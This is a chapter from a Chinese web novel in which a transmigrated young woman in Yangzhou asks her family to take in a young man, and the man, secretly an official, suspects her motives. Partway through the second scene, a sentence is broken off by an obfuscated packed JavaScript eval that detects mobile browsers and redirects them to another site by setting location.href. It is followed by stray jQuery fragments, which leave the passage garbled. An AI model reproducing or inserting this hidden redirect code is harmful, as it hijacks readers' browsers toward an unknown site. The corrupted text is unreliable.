扬州以江都县为中心，江都县又以仁丰里为繁荣富贵地。


    何府便坐落在仁丰里。


    何府的兽头大门前有一对汉白玉石狮子，威风凛凛的，很是唬人。但正门平日不开，只通过东西两角门出入。穿过垂花门后，两边是抄手游廊，游廊通往的堂里摆着紫檀架子的大理石屏风。再转过屏风，才是大正厅，何刺史大部分时间不在家中，平日里何老夫人便在大正厅会客谈事。


    原主是扬州刺史何徵和苏州织造世家陈家陈寄柔之女，上头有两位阿兄，何家大郎何怀初、二郎何静臣。大郎娶的是陇西韩家，韩氏体弱，何怀初又惧内，不敢再纳小妾，两人至今膝下无子。二郎娶的则是范阳姜氏，膝下育有一女何宝珠，宝珠年方十五，还有一子宝灵，刚满六岁。


    正厅里坐着不少人。坐在上首的中年妇人容貌端庄慈和，正是陈寄柔。见何妙观回来，陈寄柔笑眯眯地招招手。


    陈寄柔四十余岁才生下原主一个女儿，对原主很是宠爱，原主的性子，有一半都是陈寄柔宠出来的。


    “囡囡今日又在玩些什么？”


    “下午在寺庙点灯，晚上和朋友在醉仙楼吃饭。”何妙观如实答道。


    “朋友？是顾家那位，还是陆家那位？”陈寄柔问。


    何妙观僵硬地摇摇头：“是新认识的一位朋友。”


    “新交的朋友？”陈寄柔一下一下轻轻地摸着何妙观的发髻，“同阿娘说说，这是谁家的孩子？家里做什么的？”


    “他……他的家境不好，目前生计还有些困难，没地方住。”何妙观不清楚燕之郁的家庭背景，只好模模糊糊地回答，“阿娘，能不能，让他在我们家暂时住一会？”


    “小姑子的这位朋友，是小郎君还是小娘子？”穿着紫越罗纱衣的貌美妇人好奇道。


    听到这话，另一边谈话的粉衣少女和蓝裙妇人亦望过来。


    这三人分别是原主的大嫂韩令仪韩氏、侄女何宝珠、以及二嫂姜映素姜氏。


    何妙观有些心虚，不知道该把目光往哪放。


    “是个小郎君……”


    陈寄柔面色平静，一点也不显得意外，问道：“他今年多大？”


    “十七岁。”何妙观估算道。


    “蛮好。”陈寄柔说完，停顿片刻，似在思考。


    韩氏道：“老夫人，不若先带来看看，若是还过得去，暂且养着也没事。”


    女眷们正说着话，门外传来一阵响动，原是仆役们簇拥着从扬州府回来的何怀初、何静臣二人。


    弄清屋里商讨的话题后，何怀初横眉蹙起，道：“你这是又要养娈童？”


    娈童？


    这个词在语文考试的文言文里出现过，何妙观有印象。


    指的是“被用来玩弄的美少年”，不是什么好词。


    何妙观觉得自己冤枉，辩解道：“我、我什么时候说要养‘娈童’？”


    何怀初冷笑道：“你说的不是娈童是什么？堂堂男子汉大丈夫不自食其力去考科举，走仕途，尽想用些勾引良家女子的方式来我们这种人家，啧！真是不知害臊。”说着，又看向陈寄柔，“怀初知道阿娘宠爱妹妹，但、但也不能宠成这样！阿娘，上一个才过去多久？还没一年吧？”


    陈寄柔道：“阿娘又没答应，阿娘这不是还在考虑么？还有，怀初，别对囡囡这么凶。”


    “就是，怀初，你何必总是拦着小姑子？”韩氏也笑道，“小姑子今年十六岁，本就是情窦初开的年纪，早些同男子交往，好处倒也不少。一来能识破轻浮子弟，二来可参透富贵公子的虚情，三则能认得真心人的模样。隔壁顾家的小姐，因为心上人有小妾便一哭二闹三上吊，弄得好不难看。倘若顾家小姐早年略知些男子朝三暮四的脾性，何至于落得这般下场？怀初，你说是不是？嗯？”


    顾家小姐指的是原主的朋友顾蕙仙，因为未婚夫养小妾，气得以泪洗面。


    被妻子训斥后，何怀初也不再言语，板着一张脸，闷闷地坐在一边。


    “令仪说得倒是没错，囡囡也快到出嫁的年龄，得早点认清男人的面貌。”陈寄柔对这个怪伶俐的儿媳很是满意，“明日看看他这人如何，若是过得去，留在府中做个清客也好。”


    半刻钟后，晚间闲谈结束，众人一一回到房中。


    何妙观正要跟着阿葵回去，但粉衣少女却跑上来，笑眯眯地扯住她的袖子：“姑姑！”


    作为原主的侄女，何宝珠在见到杜鹤安后，也对他一见钟情。


    该说“不是一家人，不进一家门”么？


    何妙观有点好奇杜鹤安到底是个什么人物，让这么多人喜欢他。


    “姑姑说的那个小郎君，长什么样呀？”何宝珠笑嘻嘻问道。


    “他……只是普通人的样子。”何妙观不想多生事端。


    “姑姑少骗宝珠。”何宝珠气鼓鼓地翻起白眼，“上回姑姑带宝珠偷偷去南风馆时说，现在的南风馆里，没一个过得去的长相，扬州的姊妹们吃得可真差。若是这个小郎君容貌普通，姑姑怎么愿意想办法带他回来？”


    三言两语，何妙观已明白这是在说什么，惊叹原主竟放浪形骸到如此地步。


    “姑姑、姑姑！”见她不答，何宝珠压低声音，死缠烂打道，“这里只有宝珠，姑姑就别藏着掖着啦！姑姑，那人一定是个美少年吧？”


    “没有。”何妙观咬咬牙，想要替原主挽回点形象，“姑姑不是只看皮相、无比肤浅的人。”


    “姑姑，你少来这套。”何宝珠毫不留情面地道，“哎，姑姑你别走……”


    ==


    暮色四合，云阳客栈二楼最里间的厢房内，烛火摇曳。


    “燕公子方才为何迟迟不下令？”抱剑而立的清崖问道。


    “就是就是。”清泉随声附和，“何小姐才见侍郎一面就请客吃饭，还是在荒郊野岭做出的决定，保准没有好心思。”


    摇曳烛火映得燕之郁眼角的小痣愈发鲜艳。他未抬眼，将批完的公文轻轻推到一侧。


    “属下猜何小姐肯定是看出公子的身份，包藏祸心。”清崖压低声音道。


    “清崖说得不错，当然，也有可能是燕公子容貌倾城


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345055|183480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    、对燕公子一见钟情。”


    “这也有理，但是——”


    “啪”的一声，朱笔搁在砚台上。


    燕之郁抬起眼眸，桃花眼淡淡扫过二人的面颊，含笑道：“你们很闲？”


    清泉立刻换上一本正经的表情，手忙脚乱地将那堆公文揣进怀中：“不闲的、不闲的。属下这就把这些送回官府。”


    清崖亦换上一副严肃的表情，退到门外，轻轻掩上门。


    室内重归寂静。


    燕之郁揉揉太阳穴。


    因为醉仙楼的交谈，他才知道，何家小姐把自己当作落魄子弟，所谓的“十两银”，是每月资助他的钱财。


    这在扬州不算罕见，没有男丁的富贵人家，确有资助年轻男子读书入仕的喜好。


    可是，何家晚辈里，不是已有两人入仕途么？


    燕之郁刚到扬州时，便和何家那位大郎打过交道，那是个粗鄙鲁莽的武夫，他不怎么喜欢，但胜在办事高效，不过一月，便把城郊的地痞流氓处理得服服帖帖。


    至于何家二郎，是个容貌清癯的文官，平日里说话细声细语，没什么主见，在官府任的也是管理卷库的闲职。


    或许是何家不满意这二位的官职，因此才物色适龄的年轻男子。


    可倘若何妙观不是事先调查过自己，又是如何知道自己姓“燕”的？


    燕之郁想不明白，头又开始隐隐作疼。


    他站起身，在案上的香炉里添上一撮安神香。


    袅袅升起的青烟中，少年走到铜镜前。白日束起的发髻已有些松散，垂落的发丝粘在他的颈间，他侧过头，用手指轻轻拨开，又拔下木簪。墨色绸缎般的头发如流水般倾泻而下，直垂腰际。


    他想起醉仙楼分别时的对话。


    何妙观问他：“燕郎君一会，是要回到那个庙里么？”


    他点头。


    少女的脸上浮现出担忧的表情，犹犹豫豫道：“可是，那个寺庙看上去很不安全。”


    “不碍事的。”他故意道。


    “这样吧，我让阿葵去订一间客栈，燕郎君今晚先住在城里。”


    于是，他在分别的时候问，为什么要帮他到这个份上。


    少女支支吾吾，只是把房间的钥匙串留在他手中，说明日再说。


    燕之郁走至榻边，将外袍搭在屏风上，解开腰间的玉带钩。衣物层层剥落，堆叠在他的脚边。烛光为他修长的身躯渡上金边，窄腰宽肩，肌肤如玉。


    最后一条薄纱里衣褪去后，露出他腰腹上细长的疤痕。


    这处疤痕其实很淡，只是因为肌肤柔腻白皙，才看上去显眼。


    洗漱完后，燕之郁坐在榻边，吹灭烛火。


    冰凉的月光透过纱帐变得柔和，在他脸上投下淡淡的光影。


    他阖上眼。


    此女千方百计接近自己，但却看不出明确的意图，就像轻烟一样，难以捉摸。


    但无所谓。


    反正这段时间在扬州闲着也是闲着，扮演一下无家可归的可怜虫，把幕后主使钓出来，也蛮有趣的。